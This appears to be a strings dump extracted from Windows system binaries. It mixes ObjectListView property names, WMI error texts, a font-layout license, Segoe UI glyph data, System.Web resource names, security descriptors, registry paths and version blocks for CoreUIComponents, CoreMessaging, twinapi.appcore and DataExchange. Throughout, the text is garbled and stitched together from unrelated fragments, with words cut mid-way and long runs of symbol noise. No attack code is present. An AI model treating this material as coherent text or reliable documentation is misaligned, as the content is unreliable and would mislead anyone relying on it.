GroupWithItemCountFormat GroupWithItemCountSingularFormat HasCollapsibleGroups SpaceBetweenGroups ShowGroups SortGroupItemsByPrimaryColumn ShowItemCountOnGroups AfterLabelEdit BeforeLabelEdit DrawColumnHeader DrawItem DrawSubItem RetrieveVirtualItem SearchForVirtualItem VirtualItemsSelectionRangeChanged AboutToCreateGroups AfterCreatingGroups BeforeCreatingGroups GroupTaskClicked GroupExpandingCollapsing GroupStateChanged System.Windows.Forms.Design.EditorServiceContext, System.Design EditValue LargeImageList SmallImageList View Verbs ActionLists context provider {0} ({1}) (set) (none) Array must have key/image pairs tooltips_class32 IsBalloon HasBorder BackColor ForeColor Title StandardIcon AutoPopDelay InitialDelay ReshowDelay Font objectsToExport
< > " & sort-indicator-up sort-indicator-down checkbox-checked checkbox-unchecked checkbox-indeterminate C:\WINDOWS\FONTS\SEGOEUI.TTF ExternalObjectOwner C:\WINDOWS\FONTS\SEGOEUIB.TTF Windows11 Windows11 Windows11 Windows11 Windows11 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&')(*+,-./0123456789:;>=}? 74c-LdrpLoadDllInternal-R- NTDLL.DLL NTDLL.DLL TDLL TDLL en-US Already exists Reset to default Different Timed out No more data Operation cancelled Operation Pending Duplicate objects Access Denied Partial Results Generic failure Not found Access denied Provider failure Type mismatch Out of memory Invalid context Invalid parameter Not available Critical error Invalid stream Not supported Invalid superclass Invalid namespace Invalid object Invalid class Provider not found Invalid provider registration Provider load failure Initialization failure Transport failure Invalid operation Invalid query Invalid query type Object or property already exists Override not allowed Propagated qualifier Propagated property Unexpected error Illegal operation Property can not be key Incomplete class Invalid syntax Non-decorated object Attempt to modify read-only object or property failed Provider is not capable of the attempted operation Class has children Class has instances Query not implemented Illegal null value Invalid qualifier type Invalid property type Value out of range Cannot be singleton y developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Softwar ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. NegritaSegoe UI NegritaLihavoituSegoe UI LihavoituGrasSegoe UI GrasF rSegoe UI F rGrassettoSegoe UI GrassettoVetSegoe UI VetHalvfetSegoe UI HalvfetPogrubionySegoe UI PogrubionyNegritoSegoe UI Negrit 9Segoe UI 1nSegoe UI Ka 1nKrepkoSegoe UI Krepk #mSegoe UI #mLodiaSegoe UI Lodia :;<=>?@ :;<=>?@ABCDEFGHIJ :;<=>?@ :;<=>?@ :;<=>?@ :;<=>?@ABCDEFGHIJ !"#$%&'()*+,-./0123456789 6>FNV^fnv~ "JRZbjrz &.6>FNV^fnv $,4DTZ5# /?EU[6$ 0@FV\7% 1AGW]8& '9HMd _insx} :INe `joty~ );JOf akpuz ?@ABCDEFG -06789:;<=>?@ABCDEFG @HPX`hpx 6>FNV^fnv~ .6>FNV^fnv~ $,4?@ :;<=>?@ABCDEFGHIJ :;<=>?@ :;<=>?@ :;<=>?@ :;<=>?@ABCDEFGHIJ !"#$%&'()*+,-./0123456789 6>FNV^fnv~ "JRZbjrz u2v2w2 9(:(;2<(=( bDTZ5# /?EU[6$ 0@FV\7% 1AGW]8& '9HMd _insx} :INe `joty~ );JOf akpuz ?@ABCDEFGHIJKL -0;<=>?@ABCDEFGHIJKL @HPX`hpx 6>FNV^fnv~ .6>FNV^fnv~ $,4?@ ABCDEFGHIJ *SEGOEUIB.TTF ()*,24 PSZ_ ST]_ NOST_ ST]_ S\]_ S\]_ HISU_ SUW_ MSU_ SU[_ SUY_ RSU_ SUV_ S\]_ S\]_ S\]_ LS\]_ S\]_ S\]_ 0124 ./24 +-24 *+,-/12 *+,-/12 */12 #$%& #)67 */12 #)67 */345 */12 #)67 #)67 #'(67 #)67 */12 #)67 #$%&67 */12 #)67 */345 #)67 #)67 :;<=>?@ ABCDEFGHIJ *SEGOEUIB.TTF ()*,24 PSZ_ ST]_ NOST_ ST]_ S\]_ S\]_ HISU_ SUW_ MSU_ SU[_ SUY_ RSU_ SUV_ S\]_ S\]_ S\]_ LS\]_ S\]_ S\]_ 0124 ./24 +-24 *+,-/12 *+,-/12 */12 #$%& #)67 */12 #)67 */345 */12 #)67 #)67 #'(67 #)67 */12 #)67 #$%&67 */12 #)67 */345 #)67 #)67 :;<=>?@ ABCDEFGHIJ *SEGOEUIB.TTF ()*,24 PSZ_ ST]_ NOST_ ST]_ S\]_ S\]_ HISU_ SUW_ MSU_ SU[_ SUY_ RSU_ SUV_ S\]_ S\]_ S\]_ LS\]_ S\]_ S\]_ 0124 ./24 +-24 *+,-/12 *+,-/12 */12 #$%& #)67 */12 #)67 */345 */12 #)67 #)67 #'(67 #)67 */12 #)67 #$%&67 */12 #)67 */345 #)67 #)67 :;<=>?@ ABCDEFGHIJ *SEGOEUIB.TTF *SEGOEUIB.TTF *SEGOEUI.TTF *SEGOEUI.TTF *SEGOEUIB.TTF {{ _entries = {0}, _expires = {1}, _usage = {2} }} {{ provider = {0}, binder = {1} }} {{ provider = {0}, result = {1} }} {{ propertyMetadata = {0}, propertyName = {1} }} {{ <>h__TransparentIdentifier0 = {0}, shouldUpdateProperty = {1} }} {{ propertyEntry = {0}, simplePropertyEntry = {1} }} {{ p = {0}, d = {1} }} {{ e = {0}, d = {1} }} system.web/compilation system.web/pages system.web/profile Config_section_not_supported config\machine.config Downlevel_requires_35 B79B0ACD-F5CD-409b-B5A5-A16244610B92 9FD93CCF-3280-4391-B3A9-96E1CDE77C8D LocalizableString_LocalizationFailed type WriteEventWithRelatedActivityIdCore ETW_GROUP {4f50731a-89cf-4782-b3e0-dce8c90476ba} Microsoft.DOTNET.ASPNET.WebForms HandlerMapped TargetFrameworkSet ProviderInitialized E2ETrace.ActivityID httpApplicationState httpBrowserCapabilities httpCachePolicy httpContext httpFileCollection httpPostedFt_Inches AppearanceEditorPart_Millimeters AppearanceEditorPart_Centimeters AppearanceEditorPart_Percent AppearanceEditorPart_Em AppearanceEditorPart_Ex GenericWebPart_CannotModify FieldName RowToFieldTransformer_NoProviderSchema RowToFieldTransformer_FieldName RowToParametersTransformer_ProviderFieldName ConsumerFieldName RowToParametersTransformer_NoConsumerSchema RowToParametersTransformer_ConsumerFieldName RowToParametersTransformer_NoProviderSchema WebPartManager_CannotModify WebPartManager_DuplicateWebPartID WebPartManager_NoChildControlID Browse Catalog Connect Design W3SVC Cant_Init_Native_Config NetFx40_LegacySecurityPolicy UseRandomizedStringHashAlgorithm The quick brown fox jumps over the lazy dog. DEV_ENVIRONMENT CustomLoaderEnabled Result 4.0.0.0 System.Web.dll Microsoft Corporation. All rights reserved. 4.8.9319.0 30319 b77a5c561934e089 00000000000000000400000000000000 31bf3856ad364e35 0024000004800000940000000602000000240000525341310004000001000100B5FC90E7027F67871E773A8F abcdefghijklmnopqrstuvwxyz012345 /?*<>|" ()*\ 0123456789ABCDEFGHIJKLMNOPQRSTUV/\?*: Windows.UI.Core.CoreWindow CoreWindowResizeManager_ShouldWaitForLayoutCompletion Windows.ApplicationModel.Core.CoreApplication Windows.Foundation.Deferral Software\Microsoft\Phone\ShellUI\WindowSizing PreferredLaunchWindowingMode PreferredLaunchWidth windows.ui.core.textinput.dll windows.ui.dll IslandTansformsMode System\ControlSet001\Services\CoreUI\Navigation\RemediationPolicy ApplicationSingleUserActivationPolicyDisabled System\CurrentControlSet\Services\CoreUI\Navigation\ActivationPolicy System\ControlSet001\Services\CoreUI\Navigation\ActivationPolicy ShellActivationPolicy D:(A;;0x01;;;WD)(A;;0x01;;;AC)(A;;0x01;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622) ext-ms-win-rtcore-minuser-private-ext-l1-1-0 ext-ms-win-rtcore-minuser-private-ext-l1-1-1 ext-ms-win-rtcore-minuser-private-ext-l1-1-2 ext-ms-win-rtcore-minuser-private-ext-l1-1-3 ext-ms-win-security-chambers-l1-1-0 ext-ms-win-security-chambers-l1-1-1 ext-ms-onecore-orientation-l1-1-0 ext-ms-win-session-usermgr-l1-1-0 ext-ms-win-session-usermgr-l1-2-1 ext-ms-win-rtcore-minuser-internal-l1-1-0 ext-ms-onecore-shellchromeapi-l1-1-0 ext-ms-onecore-shellchromeapi-l1-1-1 ext-ms-onecore-shellchromeapi-l1-1-2 ext-ms-win-appmodel-viewscalefactor-l1-1-0 New data value is not the correct type Data size is not correct OleAut32.dll api-ms-win-core-errorhandling-l1-1-2.dll kernel32.dll Cn::Process::NotifyOutOfMemory(). api-ms-win-core-errorhandling-l1-1-3.dll Unexpected precision Format specifier was invalid %%0.%d%s%c %%.%d%c %%%s%c Precision is to high to display Unsupported precision %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll System\CurrentControlSet\Services\CoreUI IDKOnHolo IDKOnXbox IsPresent System\CurrentControlSet\Services\MinShell ExecModelClient.dll nLocal\SM0:%lu:%lu:%hs TransitionToNextAnimation TransitionFromPreviousAnimation Windows.Foundation.PropertyValue ClientRequestedNavigationType TryShowAsStandaloneAsync_IdToShow TryShowAsStandaloneAsync_IdAnchor TryShowAsStandaloneAsync_avspToShow TryShowAsStandaloneAsync_avspAnchor TryShowAsStandaloneAsync_showOptions NavigationRequestIdForBaseActivation SwitchAsync_IdTo SwitchAsync_vsp HostViewId ExperienceId ComponenetUICookie Windows.Storage.Streams.IBuffer NavigationRequestId ApplicationMultiviewActivationPolicy CustomResourceSetType ComponentUICShellPolicy Microsoft.Windows.WindowFactory.ViewId pWindows.Launch System\NavigationServer_ClientViewCreator Windows.Foundation.Diagnostics.AsyncCausalitodePreferences_CustomSize Windows.Foundation.IAsyncAction Windows.Phone.UI.Core.INavigationClient3.RequestActivateViewAsync hWindows.Internal.Wil.EventInvocationContext Windows.Foundation.Collections.IIterator`1 Windows.Foundation.Collections.IVectorView`1 Windows.Foundation.Collections.IObservableVector`1 Windows.Foundation.Collections.IVectorChangedEventArgs MNC_TaskmanWindow SHELLHOOK )))))) )))))) "#$% 6789 DEFJGHI MNOPQRSTUVWXYZ[\] `a!bK)cdLefghi CnRuntime CuiMessaging CuiRemoteInterfaces CuiCommon CuiServer CuiClient CuiCompShellCore CoreUIComponents 048X `dhlptx| (,04 <@DHL PTX\` hlpt hlptx hlptx| hlptx| hlptx| hlptx| 04DHLP ,048< !!)!)! )_NU)M !!)!)! )_NU))_NU))_NU) !!)!)! bb^bMXY $(,048<@DHLPTX\`dhlptx| `dhl <@dtx| `dhlptx| <@DHL $(, $(,048<@ HL`hx| $(,048<@DHLP\ PTX\`dh LPTX\ LPTX\`dhlptx| $(48 NULL CoreUINavigation WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Core UI Components Dll FileVersion 10.0.26100.7623 InternalName CoreUIComponents.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename CoreUIComponents.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation Error Performance NavigationPerformance CUI ForegroundTaskManager CUI Server CUI ServerSession CUI SessionManager CUI ServerTask CUI ServerWindow CUI WindowManager CUI RotationManager CUI PageNavigationController CUI PageManagerContainer CUI PageManager CUI Page CUI ExecutionManagerClient CUI NavigationWindow CUI Task CUI PMEnumerationManager CUI TimeoutInfo CUI CoreUIService CUI NavigationPerformanceTriggers CUI BrokerSessionManager CUI NavigationClient CUI SessionLayer CUI ForegroundSessionLayer OneCore CUI ViewManager OneCore CUI ViewActivator OneCore CUI BasicViewAdapter OneCore CUI ClientViewCreator CUI MessagingPerformance CUI Proxy CUI SelfHostInfo CUI SelfHostError Info Start Stop Error Warning Information Verbose Core Could not find entrypoint {0} in module {1} Could not find dll {0} Invalid operation {0} : {1} IdentityTable failure, disposition: {0} ProtocolException: {0} \BaseNamedObjects\CoreMessagingRegistrar WM_RegistrarServer Unknown callback type: Unknown priority mask: Unknown internal priority: Unknown external priority: Disconnecting client PID: {0} TID: {1} Unknown flush mode: \BaseNamedObjects Failed to impersonate. Exception: CreateAlpcPort {0} failed with HR=0x{1:x8} {0}-{1}:{2} Unknown ServiceRunMode: Test Peer (process ID 0x{0:x}) denied our attempt to connect. Error code: 0x{1:x}. Message: {2} Your request to connect to this conversation is denied. ConversationClient ID:{0} in Conversation:{1} processed a reconnect (pendingServerInfo.PeerID: {2}) {0}\[CoreUI]-PID({1})-TID({2}) {3} CreateWindowEx failure! RI={{pid:{0}, tid:{1}, id:{2}, id2:{3}, {4}}} Unexpected registrar scope (D;;GR;;;NU)(A;;GR;;;BU) ProtocolException: {0} MsgCallState.Code: {1} MsgCallState.ParameterIndex: {2} Unknown scope: Unknown connection type: Connection {0} failed to connect Failed to connect to registrar: {0:x} Access denied to registrar service. Error connecting to registrar port: {0:x} Failed to associate packet 0x{0} and handle 0x{1} to iocp 0x{2} (keyContext 0x{3}, apcContext 0x{4}) with status 0x{5} Kernel\ systemRegistrar ID_CAP_SYSTEM_REGISTRAR System\ False True Unknown error System error. System.Runtime.InteropServices.COMException (0x ext-ms-win32-subsystem-query-l1-1-0 ext-ms-win-rtcore-minuser-private-ext-l1-1-0 ext-ms-win-rtcore-minuser-private-ext-l1-1-1 ext-ms-win-rtcore-minuser-private-ext-l1-1-2 ext-ms-win-rtcore-minuser-private-ext-l1-1-3 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll 3Local\SM0:%lu:%lu:%hs Windows.Foundation.Deferral Windows.Foundation.IAsyncAction Cn::Process::NotifyOutOfMemory(). api-ms-win-core-errorhandling-l1-1-3.dll api-ms-win-core-errorhandling-l1-1-2.dll kernel32.dll NULL CoreMessagingRegistrar ext-ms-win-rtcore-ntuser-window-ext-l1-1-0.dll SystemUserAdapterWindowClass D:(A;;0x01;;;S-1-5-80-1021139062-1866602279-1255292388-1008060685-2498416891) api-ms-win-service-private-l1-1-0 Out parameter (DispatcherQueue) is null. Out parameter (IAsyncAction) is null. Cannot shut down again as it is already in progress. DispatcherQueueController is already created on this thread. Out parameter (DispatcherQueueController) is null. options dwSize should match the size of the struct. Invalid options threadType. Windows.Foundation.Diagnostics.AsyncCausalityTracer Windows.System.DispatcherQueue Windows.System.DispatcherQueueController Windows.System.DispatcherQueueAsyncHelper DispatcherQueue already exists. handler callback parameter is null IDispatcherQueueHandler must be agile. Invalid DispatcherQueuePriority. Out parameter (DispatcherQueue) is null Windows.System.DispatcherQueueShutdownStartingEventArgs Windows.System.DispatcherQueueTimer activatibleClassId IDispatcherQueueTimerTickEventHandler MUST be Agile InfinityE WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft CoreMessaging Dll FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName CoreMessaging.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename CoreMessaging.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll rclipsfk Local\SM0:%lu:%lu:%hs MSummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes CallerPackageFamilyName ApplicationView_CustomWindowTitle#%u# ApplicationViewTransferContext ntdll.dll Session:%d!clsid:%s WIN://SYSAPPID Windows.Foundation.Deferral Windows.AppointmentDataProvider Windows.UserDataTaskDataProvider Windows.PrintWorkflowBackgroundTask Windows.PrintSupportVirtualPrinterWorkflow Windows.AppService Windows.UpdateTask Windows.BackgroundTasks Windows.EmailDataProvider Windows.PosPaymentConnector Windows.ContactDataProvider Windows.PrintSupportWorkflow Windows.PrintSupportExtension Windows.BarcodeScannerProvider Windows.PreInstalledConfigTask -ServerName: Windows.Storage.Streams.DataWriter Windows.ComponentUI OneCoreTransformsEnabledByDefault Software\Microsoft\XAML runFullTrust Software\Microsoft\Windows\CurrentVersion\SharedPC SharedPCMode DoNotCacheSharedPCMode Windows.ApplicationModel.Activation.LaunchActivatedEventArgs Windows.ApplicationModel.Core.CoreApplication Windows.Internal.UI.StartScreen.JumpListBrokered lH$ Windows.ApplicationModel.Activation.Private.ApplicationActivation ActivationArgs ComponentSiteId ObjectModelAcid %SystemRoot%\System32\RuntimeBroker.exe Windows.Foundation.Private.ComponentUIActivatedEventArgs lext-ms-win-com-ole32-l1-1-0 ext-ms-win-com-ole32-l1-1-1 ext-ms-win-com-ole32-l1-1-2 ext-ms-win-com-ole32-l1-1-3 ext-ms-win-com-ole32-l1-1-4 ext-ms-win-com-ole32-l1-1-5 ext-ms-win-com-ole32-l1-3-0 ext-ms-win-com-suspendresiliency-l1-1-0 ext-ms-win-devmgmt-policy-l1-1-0 ext-ms-win-devmgmt-policy-l1-1-1 ext-ms-win-devmgmt-policy-l1-1-2 ext-ms-win-devmgmt-policy-l1-1-3 ext-ms-win-ntuser-rotationmanager-l1-1-0 ext-ms-win-ntuser-rotationmanager-l1-1-2 ext-ms-win-ntuser-windowstation-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-1 ext-ms-win-ntuser-windowstation-l1-1-2 ext-ms-win-ole32-oleautomation-l1-1-0 ext-ms-win-session-usermgr-l1-1-0 ext-ms-win-session-usermgr-l1-2-1 ext-ms-win-appmodel-deployment-l1-1-0 ext-ms-win-appmodel-deployment-l1-1-1 ext-ms-win-rtcore-ntuser-iam-l1-1-0 ext-ms-win-rtcore-ntuser-iam-l1-1-1 ext-ms-win-rtcore-ntuser-iam-l1-1-2 lext-ms-win-ntuser-private-l1-1-0 ext-ms-win-ntuser-private-l1-1-1 ext-ms-win-ntuser-private-l1-2-0 ext-ms-win-ntuser-private-l1-3-1 ext-ms-win-ntuser-private-l1-3-2 ext-ms-win-ntuser-private-l1-3-3 ext-ms-win-ntuser-private-l1-5-0 ext-ms-win-ntuser-private-l1-6-1 ext-ms-win-ntuser-private-l1-6-2 ext-ms-win-ntuser-private-l1-6-3 ext-ms-win-appmodel-usercontext-l1-1-0 ext-ms-win-gaming-devicefamily-l1-1-0 ext-ms-win-ui-viewmanagement-l1-1-0 lext-ms-win-rtcore-minuser-private-ext-l1-1-0 ext-ms-win-rtcore-minuser-private-ext-l1-1-1 ext-ms-win-rtcore-minuser-private-ext-l1-1-2 ext-ms-win-rtcore-minuser-private-ext-l1-1-3 ext-ms-win32-subsystem-query-l1-1-0 ext-ms-win-desktopappx-l1-1-0 ext-ms-win-desktopappx-l1-1-1 ext-ms-win-desktopappx-l1-1-2 ext-ms-win-desktopappx-l1-1-3 ext-ms-win-desktopappx-l1-1-4 ext-ms-win-desktopappx-l1-1-5 ext-ms-win-desktopappx-l1-1-6 ext-ms-win-desktopappx-l1-1-7 ext-ms-win-desktopappx-l1-2-0 ext-ms-win-desktopappx-l1-2-1 ext-ms-win-desktopappx-l1-2-2 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Local\SM0:%lu:%lu:%hs Windows.Storage.Streams.DataReader Windows.UI.WindowManagement.Preview.WindowManagementPreview Windows.UI.ViewManagement.ApplicationViewSwitcher Windows.Foundation.Collections.PropertySet Windows.ApplicationModel.Activation.ComponentActivationPrivate Windows.UI.ViewManagement.ApplicationViewTransferContext Windows.Foundation.Private.RestrictedComponent Windows.Foundation.Private.ComponentSite Windows.Foundation.Collections.Detail.Vector Windows.Phone.UI.Core.ImmersiveNavigationClient Windows.ApplicationModel.Activation.CommandLineActivatedEventArgs Windows.ApplicationModel.Activation.ourceAvailabilityChangedEventArgsV2 Unknown provider kind Windows.Foundation.Collections.IIterator`1 Windows.Foundation.Collections.IVector`1 Windows.ApplicationModel.Core.CoreApplication Windows.Foundation.IAsyncOperation`1> Windows.Foundation.IAsyncOperation`1 Windows.Internal.Shell.ShareWindow.SourceAvailabilityChangedEventArgs %s\%s%x%I64x %s%x%I64x ApplicationService: %s\%x%s%llx %x%s%llx HWNDInterface: Windows.Foundation.IAsyncOperation`1 Windows.Foundation.Uri com.microsoft.services.cortana.cortanaactionableinsights_v1 Feature com.microsoft.services.cortana.cortanaactionableinsights_v1 is not available SurroundingText parameter cannot exceed length of 3000 characters Windows 10X Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe Microsoft.storeFilter.core.supportedAfter. Microsoft.requiresNonSMode_8wekyb3d8bbwe Windows.System.Profile.AppApplicability Windows.Management.Deployment.PackageManager Windows.Management.Deployment.StagePackageOptions Windows.Internal.Shell.MeetAndChat.MeetAndChatInstallResult MicrosoftTeams_8wekyb3d8bbwe https://go.microsoft.com/fwlink/?linkid=2160968 https://go.microsoft.com/fwlink/?linkid=2161156 https://go.microsoft.com/fwlink/?linkid=2161157 Windows.Foundation.IAsyncOperationWithProgress`2 Windows.Internal.PlatformExtensions.WindowTabManagerContract Windows.System.UserProfile.AdvertisingManager Windows.System.UserProfile.AdvertisingManagerHelper Microsoft.Windows.WindowFactory.ExtraData PrelaunchActivated TaskId Data D:(A;;GA;;;S-1-15-3-1024-3167453650-624722384-889205278-321484983-714554697-3592933102-807660695-1632717421)(A;;GA;;;IU) D:(A;;GA;;;S-1-15-3-1024-2152139330-3124897132-671935159-3762809077-3273429135-2233686478-1435376800-2420532691)(A;;GA;;;%s)(A;;GA;;;IU)(A;;GA;;;%s) (XA;;GA;;;IU;(WIN://SYSAPPID Contains "%s")) S:(ML;CIOI;NXNWNR;;;%s) feedbackLogCollection Windows.Internal.UIRecord.UIRecorder Windows.Internal.FeedbackHub.FeedbackHubInternal $2p( $LH( 0 p4 $Lp( Software\Microsoft\Windows\RemoteSystemIntegration\ Software\Microsoft\Windows\RemoteSystemIntegration SystemId_boot CorrelationId CloudDesktop Software\Microsoft\PolicyManager\current\Device\CloudDesktop Software\Microsoft\Windows\CurrentVersion\CloudDesktop\NodeValues BootToCloudMode EnablePhysicalDeviceAccessOnCtrlAltDel EnablePhysicalDeviceAccessOnErrorScreens PhysicalDeviceAccessConfigured Software\Microsoft\Windows\BootToCloud\PhysicalDeviceAccess systemId_remote Feature com.microsoft.windows.system.remotedesktop.provider_v1 is not available. remoteDesktopId com.microsoft.windows.system.remotedesktop.provider_v1 Software\Microsoft\Windows\CurrentVersion\Explorer\RemoteSystemProviders\ ms-settings:signinoptions?launchedFromRemoteSession=1 ms-settings:system?launchedFromRemoteSession=1 RemoteSystemProvider ms-settings:devices?launchedFromRemoteSession=1 remoteDesktopTimeOut ms-settings:display?launchedFromRemoteSession=1 ms-settings:sound?launchedFromRemoteSession=1 ShellDesktopSwitchEvent Local\ShellStartupEvent RemoteDesktopConnectionInfo::GetForWindowImpl started RemoteDesktopConnectionInfo::GetForWindowImpl Provided window already registered RemoteDesktopConnectionInfo::GetForWindowImpl Provided window not registered RemoteDesktopConnectionInfo::GetForWindow Succeeded Windows.Foundation.Collections.ValueSet Windows.System.Launcher displayName System\CommunicationAppConversation_ Windows.System.DispatcherQueueController D:(A;;GA;;;SY)(A;;0x001F0003;;;WD)(A;;0x001F0003;;;AC) com.microsoft.windowsai.chat e0b9c4fb-0f29-4cd5-9ef1-a198cbe10a49 Windows.ApplicationModel.AppExtensions.AppExtensionCatalog Kind Logo ItemInfo GroupName Description DisplayName RemovedByUser HostViewId HostProcessId SOFTWARE\Microsoft\Windows\Windows Error Reporting DontSendAdditionalData ExperienceId AppObject.Aliased Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IAsyncOperation`1 Windows.Foundation.IReference`1 std::exception: %hs winrt::hresult_error: %ls activatibleClassId Windows.ApplicationModel.Core.CoreApplicationView Windows.Storage.StorageFile Windows.ApplicationModel.LeavingBackgroundEventArgs Windows.ApplicationModel.Core.CoreApplicationViewTitleBar Windows.ApplicationModel.Activation.BackgroundActivatedEventArgs Windows.ApplicationModel.SuspendingDeferral Windows.UI.WindowManagement.WindowingEnvironment Windows.ApplicationModel.Activation.ComponentActivationResultPrivate Windows.System.DispatcherQueue Windows.ApplicationModel.DataTransfer.DataPackage Windows.UI.ViewManagement.ApplicationViewConsolidatedEventArgs Windows.ApplicationModel.SuspendingEventArgs Windows.ApplicationModel.DataTransfer.StandardDataFormats Windows.ApplicationModel.DataTransfer.ShareProviderOperation Windows.UI.ViewManagement.ApplicationViewTitleBar Windows.ApplicationModel.EnteredBackgroundEventArgs Windows.ApplicationModel.SuspendingOperation serverName LocalizeView failed ement> Windows.System.Profile.UnsupportedAppRequirement Windows.System.UserProfile.AdvertisingManagerForUser Microsoft.Windows.WindowFactory.ViewId StreamedFileTaskCompletion PlmSentinel_%s:%s BrokerInfrastructure Windows.ApplicationModel.Background.BackgroundActivationContext Windows.Management.Deployment.PackageManager Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\PackageActivate jjjj jjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHJIKLMNOPQRSTUWVYX[Z]\`^_acbdegfihjlkmonpqsrtuvxwy{z~|} PT_TC_PBM PT_TC_FILEOPENPICKER PT_TC_SHARING PT_TC_PRINTING PT_TC_GENERIC PT_TC_CAMERA_DCA PT_TC_PRINTER_DCA PT_TC_PLAYTO PT_TC_FILESAVEPICKER PT_TC_CONTACTPICKER PT_TC_CACHEDFILEUPDATER_LOCAL PT_TC_CACHEDFILEUPDATER_REMOTE PT_TC_ERROR_REPORT PT_TC_DATA_PACKAGE PT_TC_CRASHDUMP PT_TC_STREAMEDFILE PT_TC_PBM_COMMUNICATION PT_TC_HOSTEDAPPLICATION PT_TC_MEDIA_CONTROLS_ACTIVE @PT_TC_EMPTYHOST PT_TC_SCANNING PT_TC_ACTIONS PT_TC_REALTIMECOMM PT_TC_IGNORE_NAV_LEVEL_FOR_CS WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription twinapi.appcore FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName twinapi.appcore LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename twinapi.appcore.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Microsoft-Windows-TWinAPI/Diagnostic Microsoft-Windows-CoreApplication/Diagnostic Microsoft-Windows-CoreApplication/Tracing Microsoft-Windows-CoreApplication/Operational EventData Data Name Result Result EventData Data Name QuiesceBool QuiesceBool EventData Data Name BlockUnblockBool Data Name ThreadId BlockUnblockBool ThreadId EventData Data Name ThreadId ThreadId EventData Data Name IsMainView Data Name Data Name ThreadId IsMainView ThreadId EventData Data Name AppID AppID EventData Data Name HWND Data Name AppID HWND AppID Microsoft-Windows-Immersive-Shell-API win:Info win:Start win:Stop win:Informational hntdll.dll Windows.UI.Core.CoreWindow lext-ms-win-rtcore-minuser-private-ext-l1-1-0 ext-ms-win-rtcore-minuser-private-ext-l1-1-1 ext-ms-win-rtcore-minuser-private-ext-l1-1-2 ext-ms-win-rtcore-minuser-private-ext-l1-1-3 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll 3Local\SM0:%lu:%lu:%hs Windows.Foundation.Diagnostics.AsyncCausalityTracer Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragDropManager Windows.Storage.Streams.DataWriter Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragOperation Windows.Storage.Streams.Buffer Windows.UI.Core.InternalUICoreStatics Windows.ApplicationModel.DataTransfer.Internal.CoreDragDropManagerInternal Windows.Internal.PlatformExtensions.DragDropExperience System.Photo.Orientation std::exception: %hs activatibleClassId Windows.Storage.Streams.DataReader Windows.Storage.Streams.InMemoryRandomAccessStream Windows.Storage.Streams.RandomAccessStreamReference Windows.Foundation.Collections.ValueSet Windows.ApplicationModel.DataTransfer.DataPackage Windows.Foundation.PropertyValue Windows.ApplicationModel.DataTransfer.StandardDataFormat hText Html Bitmap StorageItems Local\WinRtDragSynchronizationMutex VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Data exchange FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName DataExchange LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename DataExchange.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation ResyncResetTime MaxResyncAttempts Software\Microsoft\Input %s%s%d 